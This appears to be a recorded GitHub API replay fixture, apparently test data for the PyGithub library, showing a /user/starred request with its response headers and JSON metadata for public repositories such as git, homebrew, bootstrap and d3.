model.","permissions":{"pull":true,"push":false,"admin":false},"forks_count":429,"clone_url":"https://github.com/nvie/gitflow.git","created_at":"2010-01-20T23:14:12Z","mirror_url":null,"html_url":"https://github.com/nvie/gitflow","network_count":429,"has_wiki":true,"watchers":4650,"size":4430,"fork":false,"open_issues":100,"has_issues":true,"updated_at":"2012-09-07T23:33:59Z","full_name":"nvie/gitflow","name":"gitflow","url":"https://api.github.com/repos/nvie/gitflow","ssh_url":"git@github.com:nvie/gitflow.git","git_url":"git://github.com/nvie/gitflow.git","private":false,"id":481366,"language":"Shell","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","svn_url":"https://github.com/nvie/gitflow","pushed_at":"2012-07-10T09:18:03Z"} https GET api.github.com None /user/starred {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '35785'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 23:33:59 GMT'), ('connection', 'keep-alive'), ('etag', '"65c6be3387ac59ebbbf02e7b4c793b8e"'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:34:43 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"forks":772,"has_downloads":true,"owner":{"gravatar_id":"878a0ea898da1701df8573ed64a5cc9d","login":"git","avatar_url":"https://secure.gravatar.com/avatar/878a0ea898da1701df8573ed64a5cc9d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/git","id":18133},"description":"Git Source Code Mirror - This is a publish-only repository and all pull requests are ignored. Please follow Documentation/SubmittingPatches procedure for any of your improvements.","git_url":"git://github.com/git/git.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":772,"clone_url":"https://github.com/git/git.git","created_at":"2008-07-23T14:21:26Z","watchers_count":2886,"html_url":"https://github.com/git/git","has_wiki":false,"watchers":2886,"open_issues_count":4,"size":36484,"fork":false,"open_issues":4,"has_issues":false,"updated_at":"2012-09-07T22:39:33Z","full_name":"git/git","name":"git","url":"https://api.github.com/repos/git/git","ssh_url":"git@github.com:git/git.git","private":false,"id":36502,"language":"C","homepage":"This is a publish-only repository and all pull requests are ignored. Please follow Documentation/SubmittingPatches procedure for any of your improvements.","svn_url":"https://github.com/git/git","pushed_at":"2012-09-07T21:55:44Z"},{"forks":3,"has_downloads":true,"owner":{"gravatar_id":"0bafbcfcfb548a4ac20406692858f68b","login":"moriyoshi","avatar_url":"https://secure.gravatar.com/avatar/0bafbcfcfb548a4ac20406692858f68b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/moriyoshi","id":18755},"description":"Create your PHP extension in C++, in a minute.","git_url":"git://github.com/moriyoshi/boost.php.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":3,"clone_url":"https://github.com/moriyoshi/boost.php.git","created_at":"2008-07-29T03:01:07Z","watchers_count":47,"html_url":"https://github.com/moriyoshi/boost.php","has_wiki":true,"watchers":47,"open_issues_count":1,"size":1331,"fork":false,"open_issues":1,"has_issues":true,"updated_at":"2012-09-05T22:29:17Z","full_name":"moriyoshi/boost.php","name":"boost.php","url":"https://api.github.com/repos/moriyoshi/boost.php","ssh_url":"git@github.com:moriyoshi/boost.php.git","private":false,"id":38097,"language":"C++","homepage":"","svn_url":"https://github.com/moriyoshi/boost.php","pushed_at":"2009-12-15T14:07:47Z"},{"forks":296,"has_downloads":false,"owner":{"gravatar_id":"885e1c523b7975c4003de162d8ee8fee","login":"capistrano","avatar_url":"https://secure.gravatar.com/avatar/885e1c523b7975c4003de162d8ee8fee?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/capistrano","id":58257},"description":"Remote multi-server automation tool","git_url":"git://github.com/capistrano/capistrano.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":296,"clone_url":"https://github.com/capistrano/capistrano.git","created_at":"2009-02-26T16:14:04Z","watchers_count":2638,"html_url":"https://github.com/capistrano/capistrano","has_wiki":true,"watchers":2638,"open_issues_count":44,"size":644,"fork":true,"open_issues":44,"has_issues":true,"updated_at":"2012-09-07T16:07:26Z","full_name":"capistrano/capistrano","name":"capistrano","url":"https://api.github.com/repos/capistrano/capistrano","ssh_url":"git@github.com:capistrano/capistrano.git","private":false,"id":138312,"language":"Ruby","homepage":"http://capify.org","svn_url":"https://github.com/capistrano/capistrano","pushed_at":"2012-09-06T17:01:03Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"0bafbcfcfb548a4ac20406692858f68b","login":"moriyoshi","avatar_url":"https://secure.gravatar.com/avatar/0bafbcfcfb548a4ac20406692858f68b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/moriyoshi","id":18755},"description":"Still a proof of concept...","git_url":"git://github.com/moriyoshi/boost.perl.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":0,"clone_url":"https://github.com/moriyoshi/boost.perl.git","created_at":"2009-03-30T21:09:12Z","watchers_count":8,"html_url":"https://github.com/moriyoshi/boost.perl","has_wiki":true,"watchers":8,"open_issues_count":0,"size":512,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2011-10-03T23:45:58Z","full_name":"moriyoshi/boost.perl","name":"boost.perl","url":"https://api.github.com/repos/moriyoshi/boost.perl","ssh_url":"git@github.com:moriyoshi/boost.perl.git","private":false,"id":163431,"language":"C++","homepage":"","svn_url":"https://github.com/moriyoshi/boost.perl","pushed_at":"2010-05-28T07:23:06Z"},{"forks":72,"has_downloads":true,"owner":{"gravatar_id":"918b627daf7d848cd40770ed6cd15233","login":"apenwarr","avatar_url":"https://secure.gravatar.com/avatar/918b627daf7d848cd40770ed6cd15233?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/apenwarr","id":20592},"description":"An experimental alternative to the git-submodule command. Merges and splits subtrees from your project into subprojects and back.","git_url":"git://github.com/apenwarr/git-subtree.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":72,"clone_url":"https://github.com/apenwarr/git-subtree.git","created_at":"2009-04-25T04:10:31Z","watchers_count":648,"html_url":"https://github.com/apenwarr/git-subtree","has_wiki":false,"watchers":648,"open_issues_count":11,"size":232,"fork":false,"open_issues":11,"has_issues":false,"updated_at":"2012-09-07T14:50:20Z","full_name":"apenwarr/git-subtree","name":"git-subtree","url":"https://api.github.com/repos/apenwarr/git-subtree","ssh_url":"git@github.com:apenwarr/git-subtree.git","private":false,"id":185096,"language":"Shell","homepage":"","svn_url":"https://github.com/apenwarr/git-subtree","pushed_at":"2012-07-14T19:40:25Z"},{"forks":29,"has_downloads":true,"owner":{"gravatar_id":"1b5633ca7f3390376c779e5f716a3ed0","login":"cosmin","avatar_url":"https://secure.gravatar.com/avatar/1b5633ca7f3390376c779e5f716a3ed0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/cosmin","id":1358},"description":"A git-hg utility for checking out and tracking a mercurial repo.","git_url":"git://github.com/cosmin/git-hg.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":29,"clone_url":"https://github.com/cosmin/git-hg.git","created_at":"2009-05-14T20:23:01Z","watchers_count":156,"html_url":"https://github.com/cosmin/git-hg","has_wiki":true,"watchers":156,"open_issues_count":2,"size":200,"fork":false,"open_issues":2,"has_issues":true,"updated_at":"2012-09-07T07:37:40Z","full_name":"cosmin/git-hg","name":"git-hg","url":"https://api.github.com/repos/cosmin/git-hg","ssh_url":"git@github.com:cosmin/git-hg.git","private":false,"id":201230,"language":"Shell","homepage":"http://offbytwo.github.com/git-hg","svn_url":"https://github.com/cosmin/git-hg","pushed_at":"2012-08-15T18:18:04Z"},{"master_branch":"master","forks":4572,"has_downloads":false,"owner":{"gravatar_id":"1510549f9353c9859b7b3c81872df09c","login":"mxcl","avatar_url":"https://secure.gravatar.com/avatar/1510549f9353c9859b7b3c81872df09c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/mxcl","id":58962},"description":"The missing package manager for OS X.","git_url":"git://github.com/mxcl/homebrew.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":4572,"clone_url":"https://github.com/mxcl/homebrew.git","created_at":"2009-05-20T19:38:37Z","watchers_count":9910,"html_url":"https://github.com/mxcl/homebrew","has_wiki":true,"watchers":9910,"open_issues_count":326,"size":7160,"fork":false,"open_issues":326,"has_issues":true,"updated_at":"2012-09-07T22:40:37Z","full_name":"mxcl/homebrew","name":"homebrew","url":"https://api.github.com/repos/mxcl/homebrew","ssh_url":"git@github.com:mxcl/homebrew.git","private":false,"id":206084,"language":"Ruby","homepage":"http://mxcl.github.com/homebrew","svn_url":"https://github.com/mxcl/homebrew","pushed_at":"2012-09-07T21:19:16Z"},{"forks":1,"has_downloads":true,"owner":{"gravatar_id":"992fe8c19bbbc27f2b562a9f96efc03d","login":"jamis","avatar_url":"https://secure.gravatar.com/avatar/992fe8c19bbbc27f2b562a9f96efc03d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jamis","id":1627},"description":"A library for generating Celtic Knotwork designs from graphs","git_url":"git://github.com/jamis/celtic_knot.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":1,"clone_url":"https://github.com/jamis/celtic_knot.git","created_at":"2009-05-24T23:23:10Z","watchers_count":4,"html_url":"https://github.com/jamis/celtic_knot","has_wiki":true,"watchers":4,"open_issues_count":0,"size":1272,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2011-10-12T04:36:53Z","full_name":"jamis/celtic_knot","name":"celtic_knot","url":"https://api.github.com/repos/jamis/celtic_knot","ssh_url":"git@github.com:jamis/celtic_knot.git","private":false,"id":209230,"language":"Ruby","homepage":"","svn_url":"https://github.com/jamis/celtic_knot","pushed_at":"2010-11-25T02:39:53Z"},{"forks":14,"has_downloads":true,"owner":{"gravatar_id":"fcc237fd34a8e504f7224df0c58cc0b3","login":"jdavisp3","avatar_url":"https://secure.gravatar.com/avatar/fcc237fd34a8e504f7224df0c58cc0b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jdavisp3","id":43582},"description":"Source files used for an introduction to Twisted","git_url":"git://github.com/jdavisp3/twisted-intro.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":14,"clone_url":"https://github.com/jdavisp3/twisted-intro.git","created_at":"2009-08-09T17:54:00Z","watchers_count":67,"html_url":"https://github.com/jdavisp3/twisted-intro","has_wiki":true,"watchers":67,"open_issues_count":0,"size":196,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2012-09-03T08:56:13Z","full_name":"jdavisp3/twisted-intro","name":"twisted-intro","url":"https://api.github.com/repos/jdavisp3/twisted-intro","ssh_url":"git@github.com:jdavisp3/twisted-intro.git","private":false,"id":273325,"language":"Python","homepage":"http://krondo.com/blog/?page_id=1327","svn_url":"https://github.com/jdavisp3/twisted-intro","pushed_at":"2012-06-24T03:44:38Z"},{"forks":577,"has_downloads":false,"owner":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","login":"github","avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/github","id":9919},"description":"The code we use to render README.your_favorite_markup","git_url":"git://github.com/github/markup.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":577,"clone_url":"https://github.com/github/markup.git","created_at":"2009-10-31T01:02:46Z","watchers_count":1246,"html_url":"https://github.com/github/markup","has_wiki":false,"watchers":1246,"open_issues_count":79,"size":312,"fork":false,"open_issues":79,"has_issues":true,"updated_at":"2012-09-07T19:49:25Z","full_name":"github/markup","name":"markup","url":"https://api.github.com/repos/github/markup","ssh_url":"git@github.com:github/markup.git","private":false,"id":355893,"language":"Python","homepage":"","svn_url":"https://github.com/github/markup","pushed_at":"2012-08-05T18:59:47Z"},{"forks":114,"has_downloads":false,"owner":{"gravatar_id":"b8dbb1987e8e5318584865f880036796","login":"defunkt","avatar_url":"https://secure.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/defunkt","id":2},"description":"hub introduces git to GitHub","git_url":"git://github.com/defunkt/hub.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":114,"clone_url":"https://github.com/defunkt/hub.git","created_at":"2009-12-05T22:15:25Z","watchers_count":1449,"html_url":"https://github.com/defunkt/hub","has_wiki":false,"watchers":1449,"open_issues_count":19,"size":280,"fork":false,"open_issues":19,"has_issues":true,"updated_at":"2012-09-06T21:08:04Z","full_name":"defunkt/hub","name":"hub","url":"https://api.github.com/repos/defunkt/hub","ssh_url":"git@github.com:defunkt/hub.git","private":false,"id":401025,"language":"Ruby","homepage":"http://defunkt.io/hub/","svn_url":"https://github.com/defunkt/hub","pushed_at":"2012-07-24T11:24:47Z"},{"master_branch":"develop","forks":429,"has_downloads":true,"owner":{"gravatar_id":"466ef7561a0b100dc5a1021959962d28","login":"nvie","avatar_url":"https://secure.gravatar.com/avatar/466ef7561a0b100dc5a1021959962d28?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/nvie","id":83844},"description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","git_url":"git://github.com/nvie/gitflow.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":429,"clone_url":"https://github.com/nvie/gitflow.git","created_at":"2010-01-20T23:14:12Z","watchers_count":4650,"html_url":"https://github.com/nvie/gitflow","has_wiki":true,"watchers":4650,"open_issues_count":100,"size":4430,"fork":false,"open_issues":100,"has_issues":true,"updated_at":"2012-09-07T23:33:59Z","full_name":"nvie/gitflow","name":"gitflow","url":"https://api.github.com/repos/nvie/gitflow","ssh_url":"git@github.com:nvie/gitflow.git","private":false,"id":481366,"language":"Shell","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","svn_url":"https://github.com/nvie/gitflow","pushed_at":"2012-07-10T09:18:03Z"},{"forks":59,"has_downloads":true,"owner":{"gravatar_id":"f2583cecbd75c5999bf65d9eeb6a84f2","login":"lg","avatar_url":"https://secure.gravatar.com/avatar/f2583cecbd75c5999bf65d9eeb6a84f2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/lg","id":181018},"description":"Large scale server deploys using BitTorrent and the BitTornado library","git_url":"git://github.com/lg/murder.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":59,"clone_url":"https://github.com/lg/murder.git","created_at":"2010-01-21T07:05:36Z","watchers_count":1286,"html_url":"https://github.com/lg/murder","has_wiki":true,"watchers":1286,"open_issues_count":9,"size":1228,"fork":false,"open_issues":9,"has_issues":true,"updated_at":"2012-09-05T19:50:00Z","full_name":"lg/murder","name":"murder","url":"https://api.github.com/repos/lg/murder","ssh_url":"git@github.com:lg/murder.git","private":false,"id":481811,"language":"Python","homepage":"http://twitter.com","svn_url":"https://github.com/lg/murder","pushed_at":"2011-10-18T00:40:07Z"},{"master_branch":"develop","forks":512,"has_downloads":true,"owner":{"gravatar_id":"9062d6f913c867ce042928d6637abd05","login":"boto","avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/boto","id":327752},"description":"Python interface to Amazon Web Services","git_url":"git://github.com/boto/boto.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":512,"clone_url":"https://github.com/boto/boto.git","created_at":"2010-07-12T19:15:33Z","watchers_count":1947,"html_url":"https://github.com/boto/boto","has_wiki":true,"watchers":1947,"open_issues_count":177,"size":5723,"fork":false,"open_issues":177,"has_issues":true,"updated_at":"2012-09-07T20:38:05Z","full_name":"boto/boto","name":"boto","url":"https://api.github.com/repos/boto/boto","ssh_url":"git@github.com:boto/boto.git","private":false,"id":771016,"language":"Python","homepage":"http://docs.pythonboto.org/","svn_url":"https://github.com/boto/boto","pushed_at":"2012-09-06T22:09:52Z"},{"forks":49,"has_downloads":true,"owner":{"gravatar_id":"1cdc781dd667a5d4b61340591bf1bef4","login":"rtyley","avatar_url":"https://secure.gravatar.com/avatar/1cdc781dd667a5d4b61340591bf1bef4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/rtyley","id":52038},"description":"Agit - Git client for Android","git_url":"git://github.com/rtyley/agit.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":49,"clone_url":"https://github.com/rtyley/agit.git","created_at":"2010-08-29T21:45:54Z","watchers_count":236,"html_url":"https://github.com/rtyley/agit","has_wiki":true,"watchers":236,"open_issues_count":35,"size":1240,"fork":false,"open_issues":35,"has_issues":true,"updated_at":"2012-09-07T14:46:30Z","full_name":"rtyley/agit","name":"agit","url":"https://api.github.com/repos/rtyley/agit","ssh_url":"git@github.com:rtyley/agit.git","private":false,"id":870849,"language":"Java","homepage":"https://market.android.com/details?id=com.madgag.agit","svn_url":"https://github.com/rtyley/agit","pushed_at":"2012-08-14T14:51:40Z"},{"forks":1137,"has_downloads":true,"owner":{"gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","login":"mbostock","avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/mbostock","id":230541},"description":"A JavaScript visualization library for HTML and SVG.","git_url":"git://github.com/mbostock/d3.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":1137,"clone_url":"https://github.com/mbostock/d3.git","created_at":"2010-09-27T17:22:42Z","watchers_count":8352,"html_url":"https://github.com/mbostock/d3","has_wiki":true,"watchers":8352,"open_issues_count":123,"size":2928,"fork":false,"open_issues":123,"has_issues":true,"updated_at":"2012-09-07T21:21:07Z","full_name":"mbostock/d3","name":"d3","url":"https://api.github.com/repos/mbostock/d3","ssh_url":"git@github.com:mbostock/d3.git","private":false,"id":943149,"language":"JavaScript","homepage":"http://d3js.org","svn_url":"https://github.com/mbostock/d3","pushed_at":"2012-09-04T02:21:17Z"},{"forks":60,"has_downloads":true,"owner":{"gravatar_id":"1c56acccc41c591705dc92da5f6ab603","login":"libgit2","avatar_url":"https://secure.gravatar.com/avatar/1c56acccc41c591705dc92da5f6ab603?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/libgit2","id":394745},"description":"Python bindings for libgit2","git_url":"git://github.com/libgit2/pygit2.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":60,"clone_url":"https://github.com/libgit2/pygit2.git","created_at":"2010-11-08T16:27:48Z","watchers_count":265,"html_url":"https://github.com/libgit2/pygit2","has_wiki":false,"watchers":265,"open_issues_count":19,"size":200,"fork":false,"open_issues":19,"has_issues":true,"updated_at":"2012-09-04T23:59:16Z","full_name":"libgit2/pygit2","name":"pygit2","url":"https://api.github.com/repos/libgit2/pygit2","ssh_url":"git@github.com:libgit2/pygit2.git","private":false,"id":1062237,"language":"C","homepage":"","svn_url":"https://github.com/libgit2/pygit2","pushed_at":"2012-08-28T08:34:33Z"},{"forks":23,"has_downloads":true,"owner":{"gravatar_id":"9375a9529679f1b42b567a640d775e7d","login":"schacon","avatar_url":"https://secure.gravatar.com/avatar/9375a9529679f1b42b567a640d775e7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/schacon","id":70},"description":"command line tool to facilitate github pull requests","git_url":"git://github.com/schacon/git-pulls.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":23,"clone_url":"https://github.com/schacon/git-pulls.git","created_at":"2010-12-27T20:39:24Z","watchers_count":177,"html_url":"https://github.com/schacon/git-pulls","has_wiki":true,"watchers":177,"open_issues_count":12,"size":1004,"fork":false,"open_issues":12,"has_issues":true,"updated_at":"2012-08-29T19:10:30Z","full_name":"schacon/git-pulls","name":"git-pulls","url":"https://api.github.com/repos/schacon/git-pulls","ssh_url":"git@github.com:schacon/git-pulls.git","private":false,"id":1201343,"language":"Ruby","homepage":"","svn_url":"https://github.com/schacon/git-pulls","pushed_at":"2011-10-28T07:11:56Z"},{"forks":1,"has_downloads":true,"owner":{"gravatar_id":"0d0c6eda804f912d230df91577e29180","login":"emesik","avatar_url":"https://secure.gravatar.com/avatar/0d0c6eda804f912d230df91577e29180?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/emesik","id":407107},"description":"Django template tag for rendering math formulas","git_url":"git://github.com/emesik/django_mathlatex.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":1,"clone_url":"https://github.com/emesik/django_mathlatex.git","created_at":"2011-03-06T22:29:04Z","watchers_count":4,"html_url":"https://github.com/emesik/django_mathlatex","has_wiki":true,"watchers":4,"open_issues_count":0,"size":448,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2012-08-05T04:16:25Z","full_name":"emesik/django_mathlatex","name":"django_mathlatex","url":"https://api.github.com/repos/emesik/django_mathlatex","ssh_url":"git@github.com:emesik/django_mathlatex.git","private":false,"id":1447846,"language":"Python","homepage":"","svn_url":"https://github.com/emesik/django_mathlatex","pushed_at":"2011-04-01T11:33:23Z"},{"forks":60,"has_downloads":true,"owner":{"gravatar_id":"a08f4e2d6ccccab586b502992c31e2ce","login":"aliasaria","avatar_url":"https://secure.gravatar.com/avatar/a08f4e2d6ccccab586b502992c31e2ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/aliasaria","id":213343},"description":"Collaborative Online Scrum Tool Using Websockets, Node.js, jQuery, and CSS3","git_url":"git://github.com/aliasaria/scrumblr.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":60,"clone_url":"https://github.com/aliasaria/scrumblr.git","created_at":"2011-03-10T02:29:38Z","watchers_count":505,"html_url":"https://github.com/aliasaria/scrumblr","has_wiki":true,"watchers":505,"open_issues_count":17,"size":632,"fork":false,"open_issues":17,"has_issues":true,"updated_at":"2012-09-04T09:24:36Z","full_name":"aliasaria/scrumblr","name":"scrumblr","url":"https://api.github.com/repos/aliasaria/scrumblr","ssh_url":"git@github.com:aliasaria/scrumblr.git","private":false,"id":1461917,"language":"JavaScript","homepage":"http://scrumblr.ca","svn_url":"https://github.com/aliasaria/scrumblr","pushed_at":"2012-08-30T20:29:00Z"},{"forks":174,"has_downloads":true,"owner":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","login":"github","avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/github","id":9919},"description":"GitHub API documentation","git_url":"git://github.com/github/developer.github.com.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":174,"clone_url":"https://github.com/github/developer.github.com.git","created_at":"2011-04-26T19:20:56Z","watchers_count":343,"html_url":"https://github.com/github/developer.github.com","has_wiki":false,"watchers":343,"open_issues_count":0,"size":412,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-09-07T20:42:32Z","full_name":"github/developer.github.com","name":"developer.github.com","url":"https://api.github.com/repos/github/developer.github.com","ssh_url":"git@github.com:github/developer.github.com.git","private":false,"id":1666784,"language":"Ruby","homepage":"http://developer.github.com","svn_url":"https://github.com/github/developer.github.com","pushed_at":"2012-09-07T20:42:32Z"},{"forks":13,"has_downloads":true,"owner":{"gravatar_id":"4174216c1dc0f223ce608d5a3b66a585","login":"ChristopherMacGown","avatar_url":"https://secure.gravatar.com/avatar/4174216c1dc0f223ce608d5a3b66a585?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/ChristopherMacGown","id":43081},"description":"Github API v3 library for Python.","git_url":"git://github.com/ChristopherMacGown/python-github3.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":13,"clone_url":"https://github.com/ChristopherMacGown/python-github3.git","created_at":"2011-04-28T17:07:29Z","watchers_count":21,"html_url":"https://github.com/ChristopherMacGown/python-github3","has_wiki":true,"watchers":21,"open_issues_count":1,"size":136,"fork":false,"open_issues":1,"has_issues":true,"updated_at":"2012-09-06T20:37:19Z","full_name":"ChristopherMacGown/python-github3","name":"python-github3","url":"https://api.github.com/repos/ChristopherMacGown/python-github3","ssh_url":"git@github.com:ChristopherMacGown/python-github3.git","private":false,"id":1676748,"language":"Python","homepage":"","svn_url":"https://github.com/ChristopherMacGown/python-github3","pushed_at":"2012-09-06T20:37:01Z"},{"forks":3,"has_downloads":true,"owner":{"gravatar_id":"6e33170f0701d1d1d8dd57c8f95368ef","login":"pjkersten","avatar_url":"https://secure.gravatar.com/avatar/6e33170f0701d1d1d8dd57c8f95368ef?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/pjkersten","id":771883},"description":"PlantUML plugin for MediaWiki","git_url":"git://github.com/pjkersten/PlantUML.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":3,"clone_url":"https://github.com/pjkersten/PlantUML.git","created_at":"2011-05-06T09:33:38Z","watchers_count":7,"html_url":"https://github.com/pjkersten/PlantUML","has_wiki":true,"watchers":7,"open_issues_count":0,"size":132,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2012-07-25T01:45:58Z","full_name":"pjkersten/PlantUML","name":"PlantUML","url":"https://api.github.com/repos/pjkersten/PlantUML","ssh_url":"git@github.com:pjkersten/PlantUML.git","private":false,"id":1710505,"language":"PHP","homepage":"","svn_url":"https://github.com/pjkersten/PlantUML","pushed_at":"2012-06-20T08:00:40Z"},{"forks":8262,"has_downloads":true,"owner":{"gravatar_id":"2f4a8254d032a8ec5e4c48d461e54fcc","login":"twitter","avatar_url":"https://secure.gravatar.com/avatar/2f4a8254d032a8ec5e4c48d461e54fcc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/twitter","id":50278},"description":"HTML, CSS, and JS toolkit from Twitter","git_url":"git://github.com/twitter/bootstrap.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":8262,"clone_url":"https://github.com/twitter/bootstrap.git","created_at":"2011-07-29T21:19:00Z","watchers_count":37009,"html_url":"https://github.com/twitter/bootstrap","has_wiki":true,"watchers":37009,"open_issues_count":145,"size":1384,"fork":false,"open_issues":145,"has_issues":true,"updated_at":"2012-09-07T23:17:13Z","full_name":"twitter/bootstrap","name":"bootstrap","url":"https://api.github.com/repos/twitter/bootstrap","ssh_url":"git@github.com:twitter/bootstrap.git","private":false,"id":2126244,"language":"JavaScript","homepage":"http://twitter.github.com/bootstrap","svn_url":"https://github.com/twitter/bootstrap","pushed_at":"2012-09-07T18:42:29Z"},{"forks":2,"has_downloads":true,"owner":{"gravatar_id":"ce5bfd8756e2fae0e800bbea413e86b3","login":"stephenmcd","avatar_url":"https://secure.gravatar.com/avatar/ce5bfd8756e2fae0e800bbea413e86b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/stephenmcd","id":116385},"description":"Drawn By is a collaborative real-time sketching app built for the 2011 Django Dash.","git_url":"git://github.com/stephenmcd/drawnby.git","permissions":{"pull":true,"push":false,"admin":false},"mirror_url":null,"forks_count":2,"clone_url":"https://github.com/stephenmcd/drawnby.git","created_at":"2011-08-01T10:25:31Z","watchers_count":12,"html_url":"https://github.com/stephenmcd/drawnby","has_wiki":true,"watchers":12,"open_issues_count":0,"size":384,"fork":false,"open_issues":0,"has_issues":true,"updated_at":"2012-09-06T12:27:16Z","full_name":"stephenmcd/drawnby","name":"drawnby","url":"https://api.github.com/repos/stephenmcd/drawnby","ssh_url":"git@github.com:stephenmcd/drawnby.git","private":false,"id":2136154,"language":"JavaScript","homepage":"http://drawnby.jupo.org","svn_url":"https://github.com/stephenmcd/drawnby","pushed_at":"2012-07-30T13:36:35Z"},{"forks":39,"has_downloads":true,"owner":{"gravatar_id":"ce5bfd8756e2fae0e800bbea413e86b3","login":"stephenmcd","avatar_url":"https://secure.gravatar.com/avatar/ce5bfd8756e2fae0e800bbea413e86b3?d=https://a248.e.akamai.net/assets.github.